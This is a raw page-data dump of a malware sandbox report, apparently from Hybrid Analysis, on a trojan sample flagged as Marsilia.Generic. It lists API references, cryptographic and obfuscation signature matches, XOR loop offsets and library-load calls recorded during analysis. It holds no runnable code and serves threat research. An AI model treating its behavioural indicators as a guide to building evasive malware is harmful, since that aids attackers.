26:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js","/_next/static/chunks/1w1axrg6kzses.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/1kn_tf3p-ubex.js","/_next/static/chunks/1wq095nwqbaw1.js"],"SampleDetailWrapper"] 51:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js"],"IconMark"] 25:T499,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Marsilia.Generic Sample a939923a67e6… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample a939923a67e6…. Malware family: Marsilia.Generic. Threat score 100/100. 11/24 AV engines flagged this file. 11 malicious and 16 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13","keywords":["Malicious","Marsilia.Generic","malware analysis","sandbox report","threat intelligence","a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13"],"about":{"@type":"SoftwareApplication","name":"a9399.Trojan.exe","applicationCategory":["compressed","innosetup"],"identifier":"a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Marsilia.Generic","antivirusDetections":{"malicious":11,"total":24},"behavioralIndicators":{"malicious":11,"suspicious":16},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}27:T64e,Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API "QueryPerformanceFrequency" (Indicator: "QueryPerformanceFrequency"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API "Timer: QueryPerformanceFrequency failed with error" (Indicator: "QueryPerformanceFrequency"; Source: "00000000-00005956.00000001.81246.04BA0000.00000004.mdmp, 00000000-00005956.00000001.81246.614C4000.00000002.mdmp") Found reference to API "Timer: QueryPerformanceCounter failed with error" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00005956.00000001.81246.04BA0000.00000004.mdmp, 00000000-00005956.00000001.81246.614C4000.00000002.mdmp") Found reference to API "QueryPerformanceFrequency" (Indicator: "QueryPerformanceFrequency"; Source: "00000000-00005956.00000001.81246.04BA0000.00000004.mdmp, 00000000-00005956.00000001.81246.614C4000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00005956.00000001.81246.04BA0000.00000004.mdmp, 00000000-00005956.00000001.81246.614C4000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00005956.00000001.81246.04BA0000.00000004.mdmp, 00000000-00005956.00000001.81246.614C4000.00000002.mdmp")28:T45d,Found reference to API "LoadLibrary" (Indicator: "LoadLibrary"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00005956.00000000.80976.00DE4000.00000002.mdmp") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00005956.00000000.80976.00DE4000.00000002.mdmp") Found reference to API "LoadLibrary" (Indicator: "LoadLibrary"; Source: "00000000-00005956.00000001.81246.020E0000.00000004.mdmp, 00000000-00005956.00000001.81246.04BA0000.00000004.mdmp, 00000000-00005956.00000001.81246.051D0000.00000004.mdmp") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; Source: "00000000-00005956.00000001.81246.04BA0000.00000004.mdmp, 00000000-00005956.00000001.81246.614C4000.00000002.mdmp")29:T49a,Found api reference "PFXIsPFXBlob" (Indicator: "PFXIsPFXBlob"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found api reference "PFXVerifyPassword" (Indicator: "PFXVerifyPassword"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found api reference "CryptAcquireContextA" (Indicator: "CryptAcquireContextA"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found api reference "CryptGenRandom" (Indicator: "CryptGenRandom"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found api reference "CryptGenRandom" (Indicator: "CryptGenRandom"; Source: "00000000-00005956.00000001.81246.04BA0000.00000004.mdmp, 00000000-00005956.00000001.81246.614C4000.00000002.mdmp") Found api reference "CryptReleaseContext" (Indicator: "CryptReleaseContext"; Source: "00000000-00005956.00000001.81246.04BA0000.00000004.mdmp, 00000000-00005956.00000001.81246.614C4000.00000002.mdmp") Found api reference "CryptAcquireContextA" (Indicator: "CryptAcquireContextA"; Source: "00000000-00005956.00000001.81246.04BA0000.00000004.mdmp, 00000000-00005956.00000001.81246.614C4000.00000002.mdmp")2a:T5d8,The analysis contains indicators for crypto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Contains CRYPTO related strings Matched sigs: Contains ability to use Cryptographic classes Matched sigs: Able to use Microsoft's Enhanced Cryptographic Provider Matched sigs: Contains ability to perform encryption/decryption using RSA algorithm Matched sigs: Able to decrypt/decode data Matched sigs: Contains ability to decode base64 data Matched sigs: Able to perform cryptographic operations Matched sigs: Contains ability to perform AES/RC4 encryption (API string) Matched sigs: Contains key cryptographic functions (API string) Matched sigs: Contains reference to crypto DLLs Matched sigs: Contains ability to perform Base64 encoding/decoding Matched sigs: Contains ability to perform AES encryption using crypto++ library Matched sigs: Contains ability to perform RSA encryption using crypto++ library Matched sigs: Calls an API typically used to import cryptographic keys into a CSP Matched sigs: Calls an API typically used to decrypt data Matched sigs: Reads the cryptographic machine GUID Matched sigs: Sample file has high entropy (likely encrypted/compressed content) Matched sigs: Contains XOR operation loops [Stream disassembly] Matched sigs: YARA signature match - Cryptographic algorithm using CryptoPP library Matched sigs: YARA signature match - Compress data using CryptoPP library Matched sigs: YARA signature match - AES encryption2b:T2d57,Found XOR loop in file "Protect544cd51a.dll" at offset 578010; code bytes = 30d0 Found XOR loop in file "Protect544cd51a.dll" at offset 708203; code bytes = 30d0 Found XOR loop in file "Protect544cd51a.dll" at offset 711685; code bytes = 30d0 Found XOR loop in file "Protect544cd51a.dll" at offset 714155; code bytes = 30d0 Found XOR loop in file "Protect544cd51a.dll" at offset 715225; code bytes = 30d0 Found XOR loop in file "Protect544cd51a.dll" at offset 716411; code bytes = 30d0 Found XOR loop in file "Protect544cd51a.dll" at offset 716947; code bytes = 30d0 Found XOR loop in file "Protect544cd51a.dll" at offset 83678; code bytes = 33c1 Found XOR loop in file "Protect544cd51a.dll" at offset 83705; code bytes = 33c1 Found XOR loop in file "Protect544cd51a.dll" at offset 255008; code bytes = 33c1 Found XOR loop in file "Protect544cd51a.dll" at offset 255042; code bytes = 33c1 Found XOR loop in file "Protect544cd51a.dll" at offset 255082; code bytes = 33c1 Found XOR loop in file "Protect544cd51a.dll" at offset 257109; code bytes = 33c1 Found XOR loop in file "Protect544cd51a.dll" at offset 264937; code bytes = 33c1 Found XOR loop in file "Protect544cd51a.dll" at offset 348752; code bytes = 33c1 Found XOR loop in file "Protect544cd51a.dll" at offset 349981; code bytes = 33c1 Found XOR loop in file "Protect544cd51a.dll" at offset 350028; code bytes = 33c1 Found XOR loop in file "Protect544cd51a.dll" at offset 350309; code bytes = 33c1 Found XOR loop in file "Protect544cd51a.dll" at offset 350423; code bytes = 33c1 Found XOR loop in file "Protect544cd51a.dll" at offset 350497; code bytes = 33c1 Found XOR loop in file "Protect544cd51a.dll" at offset 350832; code bytes = 33c1 Found XOR loop in file "Protect544cd51a.dll" at offset 350865; code bytes = 33c1 Found XOR loop in file "Protect544cd51a.dll" at offset 351023; code bytes = 33c1 Found XOR loop in file "Protect544cd51a.dll" at offset 433598; code bytes = 33c1 Found XOR loop in file "Protect544cd51a.dll" at offset 434217; code bytes = 33c1 Found XOR loop in file "Protect544cd51a.dll" at offset 700773; code bytes = 33c1 Found XOR loop in file "Protect544cd51a.dll" at offset 701997; code bytes = 33c1 Found XOR loop in file "Protect544cd51a.dll" at offset 561916; code bytes = 8030 Found XOR loop in file "Protect544cd51a.dll" at offset 574266; code bytes = 8030 Found XOR loop in file "Protect544cd51a.dll" at offset 706840; code bytes = 8030 Found XOR loop in file "Protect544cd51a.dll" at offset 708828; code bytes = 8030 Found XOR loop in file "Protect544cd51a.dll" at offset 709556; code bytes = 8030 Found XOR loop in file "Protect544cd51a.dll" at offset 710758; code bytes = 8030 Found XOR loop in file "Protect544cd51a.dll" at offset 711664; code bytes = 8030 Found XOR loop in file "Protect544cd51a.dll" at offset 712620; code bytes = 8030 Found XOR loop in file "Protect544cd51a.dll" at offset 715214; code bytes = 8030 Found XOR loop in file "Protect544cd51a.dll" at offset 717628; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 386749; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 811500; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2012928; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2135068; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3061471; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3107066; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3186294; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3236960; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3281229; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3332953; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3447865; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3515982; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3548461; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3621573; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3693206; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3763334; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3833606; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3893057; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3916242; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3998946; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 4016497; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 4225931; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 4239360; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 4292543; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 4313856; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 4326366; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 4331211; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 4483582; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 4489696; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 4490013; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 4770806; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 4782330; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 4810868; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 4925989; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 4927391; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5178881; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5179995; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5194887; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3198764; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3281181; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3492364; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3508905; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3544980; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3692791; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3773190; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3785391; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3890352; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4009941; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4143727; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4158604; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4195570; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4481320; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4557136; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4561194; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4568250; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4614203; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4731134; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4760358; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4780844; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4809730; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5226623; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 483130; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 486970; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 490810; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 624139; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 671406; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1175654; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1264978; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1626659; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1626672; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1764821; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1770351; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1784711; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1947344; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1947362; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1947380; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1947398; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2055840; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2290792; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2323828; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3076916; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3362197; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3390536; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3413253; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3573958; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3611292; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3659610; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3787290; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3959755; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3996090; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4054387; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4072942; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4264913; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4302671; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4360288; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4436030; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4444663; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4475391; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4477261; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4493766; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4539080; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4567800; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4599025; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4733509; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4791632; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4803930; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4848357; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4870875; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4875434; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4941688; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4982815; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4982819; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5183015; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5300344; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5302318; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5302565; code bytes = 80302c:T422,Found system information discovery API: "ExpandEnvironmentStringsW" in file "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13" Found system information discovery API: "ExpandEnvironmentStringsA" in file "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13" Found system information discovery API: "GetEnvironmentStringsW" in file "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13" Found system information discovery API: "ExpandEnvironmentStringsW" in "00000000-00005956.00000000.80976.00DE4000.00000002.mdmp" Found system information discovery API: "ExpandEnvironmentStringsA" in "00000000-00005956.00000000.80976.00DE4000.00000002.mdmp" Found system information discovery API: "GetUserObjectInformationW" in "00000000-00005956.00000001.81246.04BA0000.00000004.mdmp, 00000000-00005956.00000001.81246.614C4000.00000002.mdmp" Found system information discovery API: "GetEnvironmentStringsW" in "00000000-00005956.00000001.81246.04BA0000.00000004.mdmp, 00000000-00005956.00000001.81246.614C4000.00000002.mdmp"2d:T80e,"a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "RtlGetVersion" with parameter 140100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b002000310000000000000000001400000000000000000000000000000000000000000000000200000240a1360052730021000000000000000000000000800000000000000052730021587537000100000000000000020000000c000000d02c3700d02c3700cb2c37000000000000000000000032000000000160ef17000000000080f5170095e14e7715a71b00feffffff435c52775059527794000000a0000000ca2c3700c82c37009400000004f11700fdfe7575e4e917000100000080f5170092e04365cc551f4cfeffffff9cf017004c9c43655c0c0000b0f017005f9c43650000000000000000 (UID: 00000000-00005956)2e:T684,"a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b2031000000000000000000000000000000000000000001005c005300c01132001100001139f100006060370040a13600b1080000aaa8640000200000b0080000580f00000d004200a2000000b1080000a1000000a1080000c9570000000000000000000036a8ffff5c00500000000000b1080000 (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetVersionExA" with parameter 9c0000000600000001000000b11d00000200000053657276696365205061636b2031000000000000000000000200000000000000d8eb2777902c3e0000f0fd7f9a5c537700e0fd7f5cc9170044f0fd7f00000000400000003f0000001c00000000f0fd7f50c91700c15c537760825a771c00000000f0fd7f9a5c537700e0fd7f74c917005789527780835a7713174575d8eb2777 (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b2031000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005956) "RegAsm.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b20310000900b6300110000117c790000f051630000766300b108000031a7ffff00200000b0080000580f00000d000000a2000000b1080000a1000000a1080000c9570000000000000000000036a8ffff0000000000000000b1080000001000000000000048be6200050000056579000068d96100 (UID: 00000000-00004108)2f:T42aa,"a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-0.dll (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clr.dll (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\uxtheme.dll (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clrjit.dll (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Core\31fae3290fad30c31c98651462d22724\System.Core.ni.dll (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\Microsoft.V9921e851#\a891970b44db9e340c3ef3efa95b793c\Microsoft.VisualBasic.ni.dll (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\nlssorting.dll (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "LoadLibrary" with a parameter CRYPTSP.dll (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "LoadLibrary" with a parameter CRYPTBASE.dll (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\en\mscorrc.dll (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Drawing\f7568d7f1b9d356f64779b4c0927cfb3\System.Drawing.ni.dll (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Windows.Forms\c9a4cbc00f690a9e3cddfc400f6e85bb\System.Windows.Forms.ni.dll (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00005956) 